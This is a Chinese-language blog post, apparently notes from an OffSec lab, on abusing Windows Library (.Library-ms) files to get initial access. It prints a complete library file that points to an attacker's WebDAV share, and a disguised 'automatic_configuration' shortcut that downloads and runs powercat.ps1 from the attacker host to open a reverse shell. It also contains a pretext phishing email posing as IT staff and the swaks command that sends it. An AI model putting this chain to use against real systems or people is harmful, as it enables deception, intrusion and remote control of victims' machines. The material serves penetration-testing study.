濫用 Windows 庫文件(Library File)
濫用 Windows 庫文件(Library File)
首先在 Kali 上設置一個 WebDAV 共享,透過 pip3 先行安裝
指令 pip3 install wsgidav
建立一個路徑 /home/kali_r/webdav 目錄以用作包含 .link 文件的 WebDAV 共享先在此路徑下建立一個 test.txt 文件
mkdir /home/kali_r/webdav & touch /home/kali_/webdav/test.txt
接下來將從 /home/kali_r/.local/bin 目錄運行 WsgiDAV。整個過程中使用 wsgidav 作為啟動服務器的命令。
提供的第一個參數是 --host,它指定要提供服務的主機
我們將監聽所有帶有 0.0.0.0 的接口
接下來使用 --port=80 指定偵聽端口,並使用 --auth=anonymous 禁用對共享的身份驗證
最後使用 --root /home/kali_r/webdav/ 設置為 WebDAV 共享目錄的根目錄
指令 └─$ /home/kali_r/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali_r/webdav/
netstat 一下可以看到已經有 listen 80 Port
用瀏覽器開啟測試,可以看到前面建立的 test.txt
接著使用 xfreerdp 登入到某台 windows
帳號 : offsec、密碼 : lab、掛載本機的 /home/kali_r 為遠端的網路磁碟機 aries
└─$ xfreerdp -v:192.168.203.194 -u:offsec -p:lab -drive:aries,/home/kali_r
使用該台機器已安裝的 Visual Studio Code 來進行編輯接下來要用的攻擊檔案
建立一個新的文字檔
建立如下內容檔案
下面的列表包含庫文件的命名空間 。這是從 Windows 7 開始的庫文件格式版本的命名空間。該列表還包含庫描述的結束標記。涵蓋的以下所有標籤都將添加到 libraryDescription 標籤內。
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
所有內容包含在此
</libraryDescription>
接下來,將添加兩個標籤來提供有關該庫的信息。name 標籤指定該庫的名稱。不能將其與我們可以隨機設置的任意名稱混淆。我們需要通過提供 DLL 名稱和索引來指定庫的名稱。我們可以使用 Microsoft 網站上指定的@shell32.dll,-34575或@windows.storage.dll,-34582 。我們將使用後者來避免可能在“shell32”上標記的基於文本的過濾器出現任何問題。版本標籤可以設置為我們選擇的數值,例如 6 。
<name>@windows.storage.dll,-34582</name>
<version>6</version>
接下來將添加 isLibraryPinned 標籤。此元素指定庫是否固定到 Windows 資源管理器中的導航窗格。對於我們的目標來說,這可能是另一個小細節,可以讓整個過程感覺更真實,因此,我們將其設置為 true。我們要添加的下一個標籤是 iconReference ,它確定使用什麼圖標來顯示庫文件。我們必須以與名稱元素相同的格式指定該值。我們可以使用 imagesres.dll 在所有 Windows 圖標之間進行選擇。我們可以使用索引 "-1002" 作為用戶主目錄中的文檔文件夾圖標,或使用 "-1003" 作為圖片文件夾圖標。我們將提供後者以使其看起來更友善一點。
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
現在,我們添加 templateInfo 標籤,其中包含 folderType 標籤。這些標籤確定打開庫後默認顯示在 Windows 資源管理器中的列和詳細信息。我們需要指定一個可以在 Microsoft 文檔網頁上查找的 GUID 。在此示例中,我們將使用文檔 GUID 盡可能讓受害者相信。
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
下一個標籤標記庫位置部分的開始,我們指定庫文件應指向的存儲位置。我們首先創建 searchConnectorDescriptionList 標籤,其中包含由 searchConnectorDescription 定義的搜索連接器列表。庫文件使用搜索連接器來指定遠程位置的連接設置。我們可以在searchConnectorDescriptionList 標記內指定一個或多個 searchConnectorDescription 元素。對於本示例,我們僅指定一個。
在搜索連接器的描述中,我們將指定 WebDAV 共享的信息和參數。我們要添加的第一個標籤是isDefaultSaveLocation 標籤,其值設置為 true。此標記確定當用戶選擇保存項目時 Windows 資源管理器的行為。要使用默認行為和位置,我們將其設置為 true。接下來,我們將添加 isSupported 標籤,該標籤未在 Microsoft 文檔網頁中記錄,用於兼容性。我們可以將其設置為false。
最重要的標籤是 url ,我們需要將其指向之前通過 HTTP 創建的 WebDAV 共享。它包含在simpleLocation 標籤中,我們可以使用它以更加用戶友好的方式指定遠程位置,就像普通的 locationProvider 元素一樣。
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.45.187</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
最後整個完成全部如下
==============================================================
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.45.187</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
==============================================================
另存新檔在桌面取名為 config.Library-ms 如下圖,點兩下就可以看到連線到網路磁碟機
但一般使用者看來就像是一個文件資料夾,不會發現是一個網路分享磁碟機
此檔案一旦被使用過會建立該機器上的相關新標籤名為 serialized
該標籤包含有關 URL 標籤位置的 Base64 編碼信息
此外 URL 標籤內的內容已從 http://192.168.45.187 更改為 \\192.168.45.187\DavWWWRoot
Windows 嘗試優化 Windows WebDAV 客戶端的 WebDAV 連接信息並因此對其進行修改
所以檔案若要重用,需要刪除該新的標籤與設定 URL
接著我們來建立一個看似無害的短捷徑 Shortcut
內容預計輸入如下,透過攻擊機下載 powercat.ps1 然後執行 powercat
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.187:8000/powercat.ps1');
powercat -c 192.168.45.187 -p 4444 -e powershell"
下一步後取名叫做 automatic_configuration 看起來很像無害的捷徑
其實可以在指令最後再下 Windows Update 看起來會更真實無害
建立完成如下
攻擊機有起 8000 Port HTTP Server
以及 4444 Port 的 nc Listener
在 Windows 機器上點兩下後可以發現有來 HTTP Server 下載 powercat.ps1
Reverse Shell 的連線也進來了
練習題 :
目標主機 192.168.203.199
攻擊端 192.168.45.187
第一步 rustscan
└─$ rustscan -a 192.168.203.199 --scripts none --ulimit 5000
有 80 Port 但打開是預設的 IIS 頁面
那就 gobuster with pdf 先跑看看
└─$ gobuster -w directory-list-2.3-medium.txt dir -u http://192.168.203.199/ -t 150 -x pdf
看到如下畫面
將檔案下載下來 curl -O http://192.168.203.199/info.pdf
然後看一下 metadata, └─$ exiftool -a -u info.pdf ,發現作者是 Dave Wizard
寄信進去吧,使用 waks 命令來發送電子郵件。將 dave.wizard@supermagicorg.com 作為電子郵件的收件者參數使用 -t,若有多個收件者就再下一個 -t 接收件者郵件地址
將 test@supermagicorg.com 作為電子郵件寄件者參數使用 --from,將 Windows 庫文件提供使用參數 - - 附加。輸入 --suppress-data 來匯總有關 SMTP 事務的信息。對於電子郵件主題和正文,使用參數 --header "Subject:主旨 "和參數 --body 讀取 body.txt 當作郵件內文。SMTP Server 使用參數 --server "MAILIP"。最後添加 -ap 參數以啟用密碼身份驗證。
Body 內文如下
=====================================================================Hello! My name is Dwight, and I'm a new member of the IT Team.
This week I am completing some configurations we rolled out last week.
To make this easier, I've attached a file that will automatically
perform each step. Could you download the attachment, open the
directory, and double-click "automatic_configuration"? Once you
confirm the configuration in the window that appears, you're all done!
If you have any questions, or run into any problems, please let me know!
=====================================================================
指令
└─$ sudo swaks -t dave.wizard@supermagicorg.com --from test@supermagicorg.com --attach @config.Library-ms --server 192.168.203.199 --body @/home/kali_r/body.txt --header "Subject: automatic_configuration Script" --suppress-data -ap
Web Server 來抓了
Reverse Shell 也進來了
拿答案吧
其他補充
建立的 WEBDAV 網路磁碟機
指令└─$ /home/kali_r/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali_r/webdav/
留言
張貼留言